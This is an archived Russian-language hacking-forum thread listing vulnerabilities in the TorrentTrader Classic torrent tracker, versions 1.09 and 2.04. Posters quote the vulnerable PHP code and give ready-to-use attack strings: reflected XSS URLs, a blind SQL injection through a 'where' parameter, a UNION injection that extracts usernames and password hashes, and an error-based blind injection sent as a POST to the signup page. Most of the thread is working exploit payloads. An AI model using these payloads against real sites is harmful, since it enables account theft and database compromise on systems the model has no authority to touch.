PDA

Просмотр полной версии : Трекер-движок TorrentTrader


HAXTA4OK
12.08.2009, 17:31
Офф сайт = http://www.torrenttrader.org/

версия TorrentTrader Classic v1.09

XSS
получается из за не достаточной обработки данных

print("<p>" . SORT_BY . " <a href=" . $_SERVER[PHP_SELF] . "?category=" . $_GET[category] . "&filter=" . $_GET[filter] . "&sort=votes>" . VOTES . "</a>, <a href=". $_SERVER[PHP_SELF] ."?category=" . $_GET[category] . "&filter=" . $_GET[filter] . "&sort=request>Request Name</a>, or <a href=" . $_SERVER[PHP_SELF] ."?category=" . $_GET[category] . "&filter=" . $_GET[filter] . "&sort=added>" . DATE_ADDED . "</a>.</p>");


viewrequests.php?category=%3E%3Cscript%3Ealert(/Hi/)%3C/script%3E

viewrequests.php?category=&filter=%3E%3Cscript%3Ealert(/Hi/)%3C/script%3E&sort=votes


версия TorrentTrader Classic v2.04

XSS

torrents.php?parent_cat=%3E%3Cscript%3Ealert(/Hi/)%3C/script%3E



p.S по структуре файлов похож на TBDev

[underwater]
14.11.2009, 03:06
Открываем файл torrents-details.php :
//speed mod
$resSpeed = mysql_query("SELECT seeders,leechers FROM torrents
WHERE $where visible='yes' and id = $id ORDER BY added DESC LIMIT 15")
or sqlerr(__FILE__, __LINE__);


http://localhost/torrents-details.php?id=1&
where=1=IF(LENGTH(@@version)>1,1,(SELECT+1+UNION+ALL+SELECT+1))--+
Нормально выводит страницу

http://localhost/torrents-details.php?id=1&
where=1=IF(LENGTH(@@version)>50,1,(SELECT+1+UNION+ALL+SELECT+1))--+
"MYSQL Error has occurred!"


Пассивки везде:

http://localhost/themes/default/footer.php?ttversion=<script>alert(123);</script>
http://localhost/themes/default/header.php?SITENAME="><script>alert(123);</script>
http://localhost/themes/default/header.php?CURUSER[username]=<script>alert(123);</script>
http://localhost/visitorstoday.php?todayactive=<script>alert(123);</script>

RulleR
15.12.2009, 13:57
TorrentTrader Classic 1.09
Version : 1.09

SQL Injection

Vuln file: show-archived.php [str:23]

$query = 'SELECT title, user, date, text FROM news WHERE id=\'' . $_GET['id'] . '\'';
$resu = mysql_query($query) or die(mysql_error());
Exploit:
if magic_quotes = OFF
http://[host]/[path]/show-archived.php?id=1'+union+select+null,null,null,con cat_ws(0x3a,username,password)+from+users+--+

Blind SQL Injection

Vuln file: account-signup.php [str:73]

$a = (@mysql_fetch_row(@mysql_query("select count(*) from users where username='$wantusername'"))) or die(mysql_error());
Если версия MySQL=>5.0.12 и magic_quotes = OFF, можно получить данные из ошибки Duplicate column name
Exploit:POST http://[host]/[path]/account-signup.php HTTP/1.0
Content-type: application/x-www-form-urlencoded

wantusername=xek' and (select * from (select * from (select name_const((select concat_ws(0x3a,username,password) from users limit 0,1),1)a)b join (select name_const((select concat_ws(0x3a,username,password) from users limit 0,1),1))c)d)/*
--------------------------------------------------------------
Другие уязвимости этого трэкера
http://www.milw0rm.com/exploits/8958